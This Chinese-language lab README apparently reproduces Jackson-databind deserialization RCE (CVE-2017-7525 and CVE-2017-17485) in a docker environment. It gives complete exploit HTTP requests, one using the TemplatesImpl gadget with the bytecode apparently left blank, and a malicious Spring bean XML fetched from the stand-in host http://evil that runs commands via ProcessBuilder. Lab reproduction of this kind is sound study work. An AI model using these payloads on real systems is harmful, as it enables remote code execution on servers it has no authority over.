# Jackson-databind 反序列化漏洞（CVE-2017-7525）

Jackson-databind 支持 [Polymorphic Deserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization) 特性（默认情况下不开启），当 json 字符串转换的 Target class 中有 polymorph fields，即字段类型为接口、抽象类或 Object 类型时，攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类)，来实现实例化指定的类，借助某些特殊的 class，如 `TemplatesImpl`，可以实现任意代码执行。

所以，本漏洞利用条件如下：

- 开启 JacksonPolymorphicDeserialization，即调用以下任意方法

  ```java
  objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
  objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
  ```

- Target class 需要有无参 constructor
- Target class 中需要需要有字段类型为 Interface、abstract class、Object，并且使用的 Gadget 需要为其子类 / 实现接口

参考链接：

- [JacksonPolymorphicDeserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
- [Exploiting the Jackson RCE: CVE-2017-7525](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)
- [jackson-rce-via-spel](https://github.com/irsl/jackson-rce-via-spel)
- [Jackson Deserializer security vulnerability](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1)

## 漏洞环境

```shell
docker compose up -d
```

环境启动后，Web运行在`http://your-ip:8080/`。

## 漏洞复现

### CVE-2017-7525

`Jackson-databind` 在设置 Target class 成员变量参数值时，若没有对应的 getter 方法，则会使用 `SetterlessProperty` 调用 getter 方法，获取变量，然后设置变量值。当调用 `getOutputProperties()` 方法时，会初始化 `transletBytecodes` 包含字节码的类，导致命令执行，具体可参考 [java-deserialization-jdk7u21-gadget-note](https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/) 中关于 `TemplatesImpl` 的说明。

使用JDK7u21的`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`作为Gadget，发送如下请求，将会执行`touch /tmp/prove1.txt`：

```
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298

{
  "param": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": [
  " "
      ],
      "transletName": "a.b",
      "outputProperties": {}
    }
  ]
}
```

![](1.png)

这个POC只能运行在目标为JDK7u21以下的环境中，其他情况请更换Gadget。

### CVE-2017-17485

CVE-2017-7525 [黑名单修复](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1) 绕过，利用了 `org.springframework.context.support.FileSystemXmlApplicationContext`。

利用该漏洞，我们需要创建一个bean文件，放置在任意服务器上，如`http://evil/spel.xml`，内容如下：

```xml
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
            <array>
                <value>touch</value>
                <value>/tmp/prove2.txt</value>
            </array>
        </constructor-arg>
        <property name="any" value="#{ pb.start() }"/>
    </bean>
</beans>
```

然后，发送如下数据包，使Jackson加载bean，触发漏洞：

```
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138

{
  "param": [
    "org.springframework.context.support.FileSystemXmlApplicationContext",
    "http://evil/spel.xml"
  ]
}
```

成功执行`touch /tmp/prove2.txt`：

![](2.png)

**原理：** 利用 `FileSystemXmlApplicationContext` 加载远程 bean 定义文件，创建 ProcessBuilder bean，并在 xml 文件中使用 Spring EL 来调用 `start()` 方法实现命令执行
